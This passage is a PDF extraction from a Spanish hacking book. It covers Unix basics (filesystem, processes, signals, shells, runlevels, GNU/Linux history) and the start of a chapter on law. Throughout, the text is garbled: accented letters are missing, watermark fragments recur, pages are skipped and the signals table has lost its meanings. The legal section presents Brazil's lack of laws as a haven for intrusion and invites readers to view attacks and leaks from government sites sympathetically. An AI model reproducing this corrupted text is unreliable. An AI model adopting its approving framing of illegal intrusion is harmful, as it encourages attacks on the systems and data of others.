dentro del archivo correspondiente a su tarjeta de sonido y, como por arte de magia, la
msica sonar por los altavoces. Los archivos relacionados con los procesos en ejecucin
se pueden utilizar para controlarlos. Leer estos archivos por lo general nos permite el
acceso a la informacin sobre el proceso y, a grandes rasgos, podemos escribir en ellos
para mandar mensajes al proceso.
No hay ninguna indicacin en el estndar POSIX con respecto a la estructura jerrquica
de directorios; los sistemas de archivos Unix siguen un estndar tcito y no oficial. Hay
varios documentos tcnicos y propuestas sobre el tema, las Normas de Jerarqua de
Archivos (www.pathname.com/FHS), pero ninguna distribucin comercial de Unix est
obligada a seguirlas. La nica excepcin es el sistema GNU/Linux, que tiene unas normas
especficas y rgidas, para eso es el Linux Standard Base (www.linuxbase.org).
Incluso sin un documento oficial, existe un consenso en el directorio de distribucin en un
sistema Unix. A excepcin de diferencias muy sutiles, el "rbol" de directorios de cualquier
distribucin Unix se parece. La jerarqua de la gua es en realidad un superconjunto de la
unin o las estructuras principales de las distribuciones ms comunes. En algunos
sistemas, por ejemplo, no tenemos /proc, en otros, el directorio /dev existe, pero tiene
otro nombre y la organizacin debajo de /lib, /usr y /var tambin vara entre los
diferentes tipos de Unix. Sin embargo, el esqueleto es bsicamente el mismo, y es muy
fcil de descubrir y entender las diferencias de un sistema en particular.
El directorio principal, que contiene todos los dems, se llama raz, a pesar de estar en
la parte superior de la estructura. Est representado por un signo de barra (/) - que no
debe confundirse con una barra invertida (\) utilizadas en Windows - y cualquier archivo o
directorio es referenciado a partir de ella. Por ejemplo, el directorio tmp debe ser
representado como /tmp. Encontraramos cualquier archivo en el directorio /tmp si le
damos la direccin completa: /tmp/archivo.
77
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
78
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
El directorio /usr puede estar en una mquina central en la red, que exporta un directorio
/usr comn a todas las estaciones Unix. Con esto, el administrador instala los programas
una sola vez en lugar de hacerIo en cada uno de los equipos Unix bajo su supervisin.
El directorio /usr es casi un "mini-root" contiene su propio /bin, /sbin, /lib, etc... que
son, respectivamente, los directorios de los programas de uso comn, las herramientas
de superusuario, funciones de la biblioteca de los programas en /usr y archivos de
configuracin de los programas en /usr. Adems, tiene directorios que slo se
encuentran en el.
El par, "/usr/include" y "/usr/src", se presta a la compilacin de programas a partir del
cdigo fuente (El directorio "/usr/include" almacena los encabezados con los prototipos de las funciones de C
presentes en la biblioteca "/lib" y "/usr/lib", mientras que "/usr/src" consigue su propio cdigo fuente para ser compilado).
79
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Los procesos se comunican con el kernel a travs de llamadas al sistema o las "system
calls" (la "Interfaz de Servicio"que se muestra en el diagrama). Las "system calls" pueden
interactuar con los componentes del sistema operativo a travs del sistema de archivos
(no se olvide, que en Unix todo es un archivo). Por ello, el kernel controla el hardware, los
archivos de usuario y los propios procesos, que son objeto de un aplazamiento o
scheduling de programacin para establecer prioridades, el orden de ejecucin y la
interaccin entre ellos. Debido a que el hardware tambin es manejado por el sistema de
archivos, el ncleo de los sistemas Unix no es ms que un supergerenciador inteligente
de archivos.
80
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
En un examen menos simplificado, vemos que los programas acceden a las funciones
disponibles en las bibliotecas del sistema. Parecido a las DLL del sistema Windows, las
bibliotecas compartidas (shared objects o algo as) de los sistemas Unix permiten que
varios programas compartan las mismas caractersticas. La diferencia es la mayor opcin
de eleccin. Unix es mucho ms modular que cualquier otro. Esto significa que el
programador tiene muchas opciones de bibliotecas de plantillas en las que basarse, para
hacer sus programas
Un ejemplo es la interfaz grfica. En Windows se encuentra en una sola biblioteca
(GDI.DLL). Unix, tiene diferentes conjuntos de herramientas grficas, todos ellos
"acoplables" en el servidor X. El ms famoso es el Motif, pero hay muchos otros. como
GTK, Qt y Tk.
Ya sea directamente o a travs de las bibliotecas, los procesos emiten system calls
para el kernel, pidiendo algo. En el kernel hay rutinas para controlar estos procesos
(programacin, comunicacin y memoria) y para acceder a los recursos del sistema a
travs del sistema de archivos.
- Dispositivos
Los dispositivos del sistema en /dev son ficheros especiales que se comunican con el
hardware. Mejor dicho, son representaciones (imgenes) de los dispositivos en formato de
archivo. Todo lo dicho sobre interrupt handlers en el captulo sobre Windows, vale para
Unix tambin. Pero a diferencia de Windows, los sistemas Unix dependen muy poco de la
BIOS en sistemas basados en hardware de PC. Todas las funciones originalmente a
cargo de la BIOS (excepto para el arranque de la mquina) se implementan en el ncleo.
Otras plataformas de hardware no tienen ni siquiera algo parecido a una BIOS, y por lo
tanto, implementar estas funciones en el ncleo es obligatorio.
Recuerdas cmo se acceda a los dispositivos en Windows a travs de device drivers y
VxD? En Unix, por supuesto, tambin hay device drivers. Pero a diferencia de Windows,
los controladores son mdulos del kernel. Estos mdulos pueden ser compilados en el
propio kernel monoltico, o cargarse en la memoria bajo demanda, compilados como si
fueran autnomos. Ah reside la diferencia radical entre el enfoque de microkernel de
Windows y el kernel monoltico de Unix. Los archivos de dispositivos presentes en /dev
se comunican con los device drivers - y por tanto con el propio ncleo especfico, que es
responsable de controlar el hardware para el que fue escrito el driver.
Los nombres de los dispositivos se organizan de una manera sencilla. Por lo general, un
grupo de dos a cuatro letras, y, opcionalmente, nmeros. Por ejemplo, el primer disco
duro (o cualquier otro dispositivo IDE) instalado en un sistema Linux es /dev/hda, el
segundo es /dev/hdb. En Solaris, los mismos discos estn representados por los
archivos /dev/dsk/c0t0d0 y /dev/dsk/c0t1d0. Hay tres tipos de dispositivos: bloque,
carcter y la interface de red.
Los dispositivos orientados al carcter (character devices o, char devices) son a los que
se puede acceder como un archivo normal. Usted puede escribir en ellos o leer de ellos,
un byte a la vez. De hecho, los controladores que implementan estos dispositivos aceptan
ser manipulados por las funciones primitivas como open (), close (), read () y write ().
81
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Hay dos formas de iniciar un proceso. La primera es trivial: el usuario enva un shell de
comandos del sistema y transforma este comando en un proceso. Pero existe la
posibilidad (o ms bien necesidad) de iniciar procesos de forma automtica.
En el inicio de Unix, el kernel, al cargarse, trata de iniciar el primer proceso, init. l es el
padre de todos los dems procesos generados a partir de entonces. init completa el
procedimiento de arranque cargando la configuracin del sistema e iniciando todos los
daemons referentes a los servicios que debe ofrecer la mquina.
Algunos de estos daemons son servicios de red tales como el correo electrnico (SMTP)
y Web (HTTP). Estos servicios "escuchan" a la red en espera de solicitudes de otros
equipos. Por ejemplo, el servicio HTTP espera que ordenadores con navegadores de
Internet se conecten a l. Si se establece la conexin, el daemon correspondiente, enva
al navegador del otro ordenador la pgina solicitada.
Estos servicios esperan conexiones de forma continua, lo que significa que consumen
recursos de la mquina, incluso cuando est inactiva. Para evitar esto, los servicios
menos requeridos se pueden agrupar en un superservidor llamado inetd, que espera las
conexiones a diferentes servicios. Si uno de estos servicios se solicita, inetd carga el
daemon necesario. Cuando finaliza la conexin, inetd descarga el daemon de la
memoria.
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
El par fork+exec, sin embargo, no impide que el proceso padre continu funcionando.
Para que el proceso padre entre en hibernacin y espere el final del proceso hijo, se
utiliza la llamada al sistema wait. Mientras el proceso padre est durmiendo, no entra en
el time sharing de la mquina , por lo que ahorra recursos. El proceso padre no volver a
los ciclos de procesamiento de la mquina hasta que el proceso hijo ya no exista o, en
jerga tcnica, "muera".
Un ejemplo prctico es la lnea de comandos o shell. Imagine que el usuario escribe un
comando, el shell se congela, y slo se libera despus de que el comando se termina. En
este caso, el shell emiti una llamada wait a la orden del usuario. Si por el contrario el
usuario escribe un comando, y aunque el programa est en funcionamiento, el indicador
aparece inmediatamente, es evidencia de que el shell no hizo uso de la llamada al
sistema wait.
- La comunicacin entre procesos
Hay casos en que, en lugar de pedir algo al sistema operativo, los procesos necesitan
comunicarse entre s. Una forma es la comunicacin entre procesos padre e hijo. El
proceso padre puede, por ejemplo, hacer una llamada de sistema "ptrace" para rastrear
posibles errores de programacin en el proceso hijo.
Otro ejemplo de la comunicacin entre procesos son los tubos o pipes. Los tubos son una
manera para que el propio usuario determine la relacin entre la salida de un proceso y la
entrada en otro. Esto se hace en la lnea de comandos, con el carcter | (que, no por
casualidad, se llama el tubo ...). Tenga en cuenta el siguiente comando:
$ ps -e | grep netscape
Este comando toma la salida del primer programa (ps -e) y la pone como entrada del
segundo programa (grep netscape). Tenga en cuenta que los conductos tienen una
peculiaridad: solo se pueden relacionar procesos del mismo padre. En el caso anterior, los
comandos ps y grep son hermanos, hijos del mismo shell.
Un tercer mtodo para que los procesos se comuniquen, es a travs de IPCMFs o Inter
Process Communication Message Facilities. Los IPCMFs no son ms que colas. Hay
procesos transmisores, que estn autorizados para enviar mensajes a la cola, y procesos
receptores que obviamente los retiran. Un ejemplo de implementacin de IPCMFs, son las
colas de impresin. Muchos programas y usuarios pueden escribir en la cola de
impresin, y es posible que varias impresoras (y sus device drivers) "tiren" de los
documentos para imprimirlos.
- Las seales y semforos
Los mtodos de comunicacin entre procesos ms primitivos, sin embargo, son seales.
Son mensajes muy simples que enva un proceso a otro. Slo los procesos activos
pueden enviar seales. Debido a que slo puede estar activo un proceso en un momento
dado - a menos que el sistema tenga varios procesadores una seal, despertara el
proceso de recepcin, que obviamente se suspende.
Cuando un proceso suspendido vuelve a activarse, el kernel comprueba si hay alguna
84
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
seal para l. Si es as, el sistema puede tomar una de tres acciones: ignorar la seal,
entregarla al proceso de destino o capturarIa. Cuando una seal se captura, el sistema
realiza una de sus rutinas de tratamiento de seal, que vara en funcin de su
naturaleza.
Originalmente, se consideraron 22 signos. Segn la norma actual POSIX.1, hay 31 signos
diferentes, cada uno requiere una accin especfica en el proceso de destino. Ellos son:
N
NOMBRE
SIGNIFICADO
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SIGHUP
SIGINT
SIGQUlT
SIGILL
SIGTRAP*
SIGIOT/SIGABRT
SIGEMT *
SIGFPE
SIGKILL
SIGBUS *
SIGSEGV
SIGSYS *
SIGPIPE
SIGALRM
SIGTERM
SIGUSR1
SIGUSR2
SIGCLD
SIGPWR *
SIGWINCH *
SIGURG *
SIGIO *
SIGSTOP
SIGTSTP
SIGCONT
SIGTTIN
SIGTTOUT
SIGVTALRM*
SIGPROF *
SIGXCPU *
SIGXFSZ*
La tabla asume las seales en POSIX.1 en arquitectura RISC MIPS. Arquitecturas Alpha,
Sparc, i386 (PC) y PowerPC tienen unos valores diferentes. Por ejemplo, para i386 y
Sparc la seal 16 es SIGSTKFLT, fallo en el coprocesador. Los signos marcados con un
asterisco (*) son slo parte de la implementacin GNU/Linux no del estndar POSIX.1, y
tienen su origen marcado entre parntesis. Consulte man 7 signals en el sistema para
obtener informacin ms detallada o visite el sitio (www.unix-systems.org) para aprender
ms sobre el nuevo estndar POSIX.2.
Las seales se intercambian entre los procesos en curso. Se puede forzar manualmente
85
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
el envo de una seal de shell con el comando kill. El nombre del comando no es
necesario, porque no se utiliza para enviar SIGKILL o SIGTERM (es decir, matar el
proceso). Cualquier seal puede ser enviada por el comando kill. Ejemplo de uso:
$ kill
-9
27536
Este comando enva la seal 9 (SIGKILL) al proceso 27.536. Cuando el nmero seal no
se especifica, el sistema asume el valor 15.
Adems de los signos y mensajes sencillos, puedes decirle a un proceso que almacene
estructuras de datos mucho ms complejas. Utilizando una porcin de memoria
denominada memoria compartida, los procesos activos pueden, a travs de llamadas al
sistema, almacenar datos para ser utilizados ms tarde por otros procesos. Para evitar
que otros procesos cambien los datos antes de generar el proceso terminado, se utilizan
entidades llamadas semforo, que bloquean el acceso a esa ubicacin de memoria hasta
un comunicado.
No es el propsito de este libro entrar en detalles tericos sobre el desarrollo de software,
llamadas al sistema y seales. Sin embargo, es su obligacin conocerIos!. Para obtener
ms informacin, vea el estndar POSIX del Single UNIX Specification (www.unixsystems.org), es tambin un muy educativo elegir una distribucin Unix y buscar las
especificaciones del fabricante. Un buen sistema para esto es Linux, por tener todo el
cdigo abierto al pblico en general y por lo tanto no hay necesidad de pedir permiso o
pagar derechos a nadie para hacerlo. Adems, Linux se ejecuta en PCs estndar - se
puede estudiar en su ordenador personal.
En la playa recogiendo mejillones
Bueno, es lo que me gustara estar haciendo ahora. Pero estamos aqu para ser
"hackers", no? Esto implica estar noches sin dormir, ser antisociales y pasar las
vacaciones encerrados tratando de entrar en algn sitio web...
Bromas aparte, es el shell con el que el usuario le indica al kernel: "Oye, abre un proceso
para mi programa. Si tuviramos que decrselo directamente, tendramos grandes
dificultades para comunicarnos con el kernel, porque no es muy inteligible. El shell, trabaja
como intrprete entre el idioma que hablamos y el "lenguaje" de la computadora.
Al principio de este captulo utilizamos algunos comandos para navegar por el sistema de
archivos. Pero el shell no es solo un intrprete de comandos. Entre las caractersticas
ms importantes esta el encadenamiento de comandos, o tuberas (piping). Hace unas
pocas pginas, hemos visto que el encadenamiento de comandos es una forma de
comunicacin entre procesos y puede ser activado por el usuario a travs del carcter "|".
Usando varias tuberas, un comando de una sola lnea puede hacer que un archivo o un
pedazo de informacin sea procesada por varios programas de forma secuencial. La
salida de un programa "fluye a travs de la tubera y las corrientes" hacia el prximo
programa. Por ejemplo, considrese el siguiente comando:
$ ls | grep b | sort -r | tee outfile | wc -1
El comando "ls" Lista el contenido del directorio. En lugar de mostrarlo en la pantalla, el
86
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
tubo toma los datos de la salida de "ls" y los pone como datos de entrada en "grep b", que
filtra los nombres de archivo que contienen la letra "b". A continuacin, el comando grep
hace lo mismo en "sort -r", que ordena los nombres en orden descendente. La salida de
sort se inserta en "tee", que divide los datos en dos como una conexin en T o
"receptculo". La informacin contenida en sort se grabar en el archivo "outfile" y
ambos se pasan al comando "wc -1", que cuenta el nmero de lneas. Como resultado de
este comando, se ha impreso en la pantalla la cantidad de archivos que contengan la letra
b, y en el archivo "outfile" hemos registrado los nombres de estos archivos.
Este ejemplo demuestra la posibilidad de encadenar. Unix fue diseado desde el principio
como un sistema que tuviese herramientas pequeas, pero de gran alcance y ultra
especializadas. Estas herramientas se pueden combinar para formar una herramienta
ms grande y ms compleja que realice una determinada tarea. De este modo, se evita el
"reinventar la rueda" porque el uso de bloques de construccin bsicos - como un Lego
(tm) - reaprovecha el trabajo ya hecho. Este punto de vista difiere radicalmente de la
"forma en que Windows" hace las cosas: programas grandes que cumplen con la mayora
de las funciones que el usuario pueda necesitar. En Unix, menos es ms.
- Mi coleccin de conchas
Hay varios shells disponibles para el usuario. Cada implementacin Unix adopta la ms
adecuada segn el fabricante o segn el destino que deba darse al sistema. Se
distribuyen normalmente tres shells de Unix comerciales: Bourne, Korn y C Shell.
Ms recientemente, los sistemas tambin incluyen la versin de GNU de la Shell Bourne,
llamado Bourne Again Shell o Bash. Todos ellos soportan los procesos de
manipulacin, redireccin y tuberas, caractersticas comunes en un sistema Unix. Pero,
obviamente, cada uno tiene sus peculiaridades.
Desarrollado en 1975 por S. R. Bourne, el Shell de Bourne fue de los primeros que se
aplicaron y sirve como una referencia a los que vinieron despus. Simplifica en gran
medida el funcionamiento de Unix, que hasta entonces se basaba en un shell muy
primitivo. Pero era muy simple, aunque por eso mismo es, hasta hoy, el ms pequeo en
tamao y el ms rpido.
La evolucin del Bourne Shell, el C Shell fue desarrollado por el ex profesor Bill Joy. El
C Shell implemento el historial de comandos (si ya se ha escrito, no es necesario
teclearlo de nuevo, basta con mirar en la lista), alias (permite asignar apodos cortos a
largos comandos con varias tuberas) y control de procesos en primer y segundo plano.
Pero la mayor caracterstica de C Shell es la sintaxis de comandos, muy similar a la de
C, facilitando enormemente la creacin de scripts de shell. Recientemente, se ha
desarrollado el TC Shell o Turbo C Shell, con mejora de la interactividad en la reedicin
de comandos.
Un hbrido de las dos anteriores fue el shell Korn, desarrollado por David Korn de AT&T.
Trata de ser una alternativa coherente, combinando las caractersticas positivas de ambos
shells y eliminando las conflictivas.
Bash es la reimplementacin del proyecto GNU para el Shell Bourne y tiene varias
mejoras en la reedicin de la lnea de comandos, mientras que conserva las mismas
87
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
88
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
si se quiere parar o iniciar cualquier servicio . Sin embargo, se utilizan principalmente para
el esquema de inicio automtico de los runlevels.
Hay otro conjunto de directorios llamados rcN.d, donde N es el nmero del nivel de
ejecucin. Los servicios que se inicializa en runlevel 3, por ejemplo, son rc3.d. La
ubicacin de este conjunto de directorios tambin vara ampliamente entre las diferentes
versiones de Unix. Puede estar en /etc, /etc/init.d, /sbin o /bin.
En el directorio rcN.d hay varios enlaces simblicos. Piense en los enlaces simblicos (o
symlinks) como el equivalente a los accesos directos de Windows: enlaces que apuntan al
archivo real. Los nombres de los symlinks en los directorios tienen la siguiente estructura:
Xnnnnombre_de_daemon
X puede ser una de las dos letras: S o K. S indica a init que el daemon debe ser
inicializado al entrar en ese runlevel, y K indica que el daemon tiene que apagarse o
salir del runlevel. nnn es un grupo de tres dgitos que indican el orden en que se inician o
se apagan los procesos. Los sistemas GNU/Linux usan slo dos dgitos. El
nombre_de_daemon slo sirve para identificar el symlink.
Un ejemplo prctico. El servidor de e-mail, sendmail, tiene que ser inicializado cuando
entramos en el tercer nivel. As que hay un symlink que apunta a init.d/sendmail:
S980sendmail
Esto le dice a init que inicie sendmail en la posicin 980 (es decir, despus de que los
servicios con los nmeros ms bajos ya hayan sido iniciados). Cuando Unix sale del
runlevel 3 (en la parada de la mquina, por ejemplo), el symlink correspondiente tambin seala a init.d/sendmail - es:
K120sendmail
indicando a init cundo desconectar el sendmail en la posicin 120, despus de que
todos los procesos con la numeracin ms alta de 120 ya se hayan apagado.
Cada versin de Unix tiene un inittab y un esquema de runlevels que, aunque
similares, son diferentes. Sugerimos al lector que escudrie todas las versiones de Unix
que tenga a la mano, comparndolas entre s. No se centre slo en inittab: visite todos
los archivos que aparezcan en ella.
- Otras joyas
El directorio /etc contiene archivos de configuracin importantes. No es nuestro objetivo
ser una fuente completa de informacin sobre Unix - de hecho, este libro slo roza la
superficie. Pero una investigacin mas profunda de este directorio ser de gran valor para
el lector.
Como no hay ningn secreto en visualizar un archivo de texto, dejamos al lector averiguar
por si mismo cmo y para qu sirven cada uno de los archivos presentes en /etc. A
continuacin se muestra una lista de los archivos ms relevantes en la mayora de
versiones. Deja de leer el libro por una semana y estudia, consultando la pgina del
manual asociada (man nombre_de_archivo). Algunos nombres pueden variar en su
Unix, pero el archivo correspondiente est ah. Si un archivo apunta a un directorio o a
90
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
91
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
por compaas que venden soluciones basadas en estos sistemas, pero todava no est
consolidado un mercado y hay mucho aficionado suelto. Hasta separar el grano de la
paja, muchos han perdido dinero, con ellos - y sin razn, echan la culpa al software.
- Libre como la libertad de expresin
En los primeros das de la informtica, no haba un concepto de software libre o
propietario, porque todos los programas podan ser libremente compartidos. Los usuarios
de computadoras de entonces, eran casi todos cientficos y el intercambio de informacin
entre ellos era trivial. El dinero del mercado de la informtica circulaba slo entre las
compaas fabricantes de hardware. Pero a medida que pasaba el tiempo, aparecieron
las compaas de venta de software. Evidentemente, no interesaba a estas empresas que
su software pudiese ser copiado y distribuido de forma gratuita, por lo que el cdigo fuente
no se revelaba. Esto se ha vuelto comn desde entonces.
Richard Stallman era un programador que trabaja para una empresa privada. Ocurri que
escribi un programa que funcionaba realmente bien y quera compartirlo con la
comunidad Unix de entonces -, pero su empleador se lo impidi. Stallmann estaba tan
frustrado que se radicaliz y dimiti en 1984, cre un proyecto - GNU - y una licencia - la
GPL.
El proyecto GNU - GNU's Not Unix - es un intento de crear un clon del Unix que utilizaba
Stallman, pero sin ningn cdigo original de AT&T. Se crearon varias herramientas para el
sistema, incluyendo la manipulacin de archivos (ls, cd, pwd, cat.) Compiladores (gcc y
g77 para Fortran y C, respectivamente) y los programas complejos como el lenguaje de
scripts gawk y el editor de texto Emacs. El kernel, sin embargo, nunca se hizo.
La GPL - Licencia Pblica General o GNU General Public License - permite
explcitamente la distribucin y copia gratuita de software bajo esta licencia, siempre que
el cdigo fuente del programa tambin se distribuya. Esto permite la reutilizacin de
cdigo por otras personas sin restricciones a no ser que no se respeten los derechos de
los propietarios originales de nunca cerrar el cdigo resultante, evitando que otros puedan
tener acceso a el.
Los detalles sobre lo que es el Software Libre y de cdigo abierto dan para llenar todas
las pginas de este libro. Nuestro objetivo no es versar sobre este tema. Ms informacin
se puede encontrar en el proyecto oficial de GNU (www.gnu.org). la Free Software
Foundation (www.fsf.org) y la Open Source Initiative (www.opensource.org).
- El baile de los pinginos
Como hemos visto, el proyecto GNU se estanc en el desarrollo de su propio kernel.
Mientras tanto, un loco estudiante finlands llamado Linus Torvalds creo un kernel que
sera un fenmeno en todo el mundo: Linux. Inicialmente slo era un sistema de
comunicacin con un BBS, el prototipo rpidamente se convirti en un kernel completo.
En 1991, Torvalds decidi poner Linux en la GPL y las herramientas GNU para usar con
su kernel. Por eso, los puristas del mundo de la informtica (me incluyo en este grupo!) se
refieren al sistema como GNU/Linux se sera injusto con el seor Stallman si no fuera
as.
92
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Hoy en da Linux es un clon de Unix de muy bajo costo y alto rendimiento. Diseado
inicialmente para IBM-PC, se ejecuta en mltiples plataformas de hardware con el mismo
cdigo y funcionalidad - hecho todava no logrado por ningn otro sistema operativo.
El problema de Linux es su triste falta de normas. Hay cientos de distribuciones en todo el
mundo, cada una con una estructura interna - incluyendo una jerarqua de directorios
propia. Como dijimos al comienzo del captulo, la base de Unix es el sistema de archivos.
Esto resulta en que sistemas que tienen el mismo kernel, son incompatibles entre s. El
estndar de Linux Standard Base, o LSB (www.linuxbase.org) es un esfuerzo de las
mayores distribuciones en el mundo para resolver el problema. Se cree que en pocos
aos habr plena compatibilidad entre todas las distribuciones que se adhieran a la
norma.
Para saber mas sobre GNU/Linux, el mejor punto de partida es el sitio oficial,
www.linux.org. Para obtener ms informacin, slo tiene que buscar con su navegador
favorito. Google tiene una direccin dedicada a Linux en www.google.com/linux. Hay
revistas que estn disponibles, incluyendo Linux Magazine, el fichero linux, BR Linux, y
muchos buenos libros se pueden encontrar en las libreras. Pero asegrese de estudiarlo.
Es obligatorio!
- El diablillo que re
Linux no es suficiente para usted? Quieres tener una segunda opinin? Experimente
las variantes de Unix de la Universidad de Berkeley. Con licencias menos restrictivas que
las * GPL, Los sistemas BSD se pueden utilizar en soluciones que la licencia de
GNU/Linux no permitira. Cada uno tiene sus propias caractersticas, y una lectura de sus
sitios web oficiales sin duda le tentara a probarlos. Muchos usuarios de * BSD (FreeBSD,
especialmente) salieron de Linux y dicen que no vuelve mas. Informacin sobre el BSD se
puede encontrar en:
FreeBSD - www.freebsd.org
OpenBSD - www.openbsd.org
NetBSD - www.netbsd.org
BSD comerciales BSDi - www.bsdi.com
You can go on your own way
En estas pocas pginas, se ha tratado de introducir los conceptos principales de sistemas
Unix. Hay libros enteros escritos para explicar slo partes de Unix, por lo que sera
imprudente (y deshonesto) intentar condensar en un captulo los contenidos de ellos.
Pero es muy importante que el lector estudie Unix y busque otros libros y otras fuentes.
Visite regularmente todos los sitios listados en el captulo y recorralos a fondo. Nada es
tan poderoso en manos de un hacker como una cuenta Unix en una computadora
conectada a Internet.
93
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Fundamentos
Jurdicos
Capitulo - 5
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Si estas rayando situaciones limite, nunca est de ms tener una visin general de las
cuestiones jurdicas que te afectan directamente. Pocas situaciones son tan dudosas
como a las que se enfrentan los usuarios de computadoras en general y los piratas
informticos en particular. Qu es el delito? Qu es legal?. El conocimiento es la
principal arma del pirata informtico, que debe estar atento a los movimientos realizados
por los gobiernos y las polticas establecidas por las empresas en cuanto a manipulacin
de datos. La ignorancia de las leyes puede tener problemas graves, incluso en casos
sencillos, donde el usuario acta inocentemente, sin saber que est cometiendo un delito.
Estar al tanto de los casos que ya han ocurrido, de modo que no haya duda de dnde y
cmo actuar, es por lo menos, una actitud sabia.
La palabra ley nos da una ligera idea de estar tratando con el bien y el mal. Hay mucha
discusin acerca de la relatividad de estos conceptos, pero ten en cuenta que la tica que
rige el posible contenido de estas leyes viene de la necesidad de proteger a las empresas
y los gobiernos. No siempre las leyes se hacen para los ciudadanos, no siempre lo que es
legal es moralmente correcto. Por lo tanto, los individuos a los que la prensa suele llamar
piratas informticos no siempre pueden ser tildados de bandoleros, aunque segn la ley,
incurran en delitos previstos en ellas. Robin Hood era un criminal, aun actuando de
acuerdo a unos principios morales muy altos.
Las estrategias generales para la lucha contra los delitos informticos comenzaron a
elaborarse despus de los ataques terroristas en los Estados Unidos el 11 de septiembre
de 2001. Desde entonces, el gobierno de los EE.UU. comenz a dictar el destino de los
hackers y crackers de todo el mundo, exigiendo de todos los dems gobiernos, leyes que
faciliten la injerencia de EE.UU. en estos asuntos, y "de paso" en todos los dems ...
Por qu la sociedad teme a los hackers?
Para la sociedad, la imagen de los piratas informticos est estrechamente vinculada con
el crimen. Este estereotipo procede de la falta de comprensin del universo digital en el
que viven. Ellos son vistos como ladrones y destructores de datos, que utilizan medios
ilcitos para el robo, vandalismo, o lavado de dinero.
Gran parte de esa imagen es el resultado de la miope difusin alentada por los medios de
comunicacin. Nunca el otro lado, el lado underground, del lado guerrillero, el lado de la
resistencia, se toma en cuenta. Slo las empresas y los gobiernos, algunos de ellos
autoritarios (aunque disfrazados de democracias), tienen espacio en los medios de
comunicacin cuando tal evento ocurre.
La pregunta sigue siendo: de verdad te crees todo lo que lees?. Tal vez las noticias de
las 21h no sea la fuente de informacin confiable que ests acostumbrado a pensar que
es.
Las libertades individuales y el derecho privado
Nadie tiene el derecho de invadir la privacidad de las personas. Incluso declaraciones
aparentemente obvias, como stas deben incluirse en cualquier documento o ley que se
ocupa de las garantas de inviolabilidad privada. Las constituciones de casi todos los
95
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
hacker ruso, Adobe ha tratado de barrer bajo la alfombra los problemas de su tecnologa,
en lugar de dar las gracias a Sklyarov o incluso contratarlo para mejorarla.
Algunos meses ms tarde, todos los sitios de noticias de tecnologa divulgaron el intento
de Microsoft para transformar en delito la divulgacin de los defectos de software por
"agentes no autorizados" (lase: t y yo). Con la excusa de que la divulgacin de fallos
"dificulta la innovacin". Tentativas como estas, buscan institucionalizar la suciedad bajo
la alfombra. Esta iniciativa en su momento no se tradujo en una ley. Pero no crea que la
pandilla de Redmond ha renunciado a la idea.
No slo las empresas se estn beneficiando de estas aberraciones jurdicas. La actual
administracin federal de los Estados Unidos emiti un documento llamado la Doctrina
Bush que daba la supremaca de EE.UU. y lesiona de forma pornogrfica los derechos de
los ciudadanos de todo el mundo y la soberana de todos los pases del mundo.
Todos los gobiernos y la mayora de las grandes empresas manipulan u ocultan
informacin y crean leyes para que sea legal, incluso si la informacin es acerca de usted,
querido lector, o si le afecta de algn modo. Por eso, la prxima vez que un pirata
informtico invada una pagina web del gobierno o de una empresa, y haga pblicos
detalles espeluznantes acerca de la administracin, que pueden ayudarle a elegir,
reflexione mucho y use el sentido comn para decidir quin es el bueno y quin es el
malo.
Pero son los hackers realmente malos? Y en situaciones no previstas? Y los piratas
informticos "por accidente?. Toda historia tiene dos lados, y lo moralmente correcto no
siempre esta dentro de la ley. Pero a veces lo esta. "No juzguis, para que no seis
juzgados. Porque con el criterio por el que juzgis, seris juzgados ... As que, todo
aquello que quieren que los hombres les hagan, as tambin haced vosotros con ellos ~. .
"(Evangelio de San Mateo 7:1,2,12).
La legislacin brasilea
La gran ventaja de los hackers brasileos es la falta de legislacin adecuada para hacer
frente a los delitos electrnicos. La falta de leyes especficas hace Brasil un refugio para
todo tipo de invasin y manipulacin de datos. Las sanciones se basan en leyes que son
cercanas a la situacin de la delincuencia electrnica. La mayora de los casos resueltos
por las autoridades nacionales son sobre casos de piratera y pedofilia y no por invadir o
"hackear" sistemas.
La falta de proteccin legal preocupa mucho al gobierno y las grandes empresas, ya que
se ven obligados a gastar grandes sumas de dinero en software y equipos para garantizar
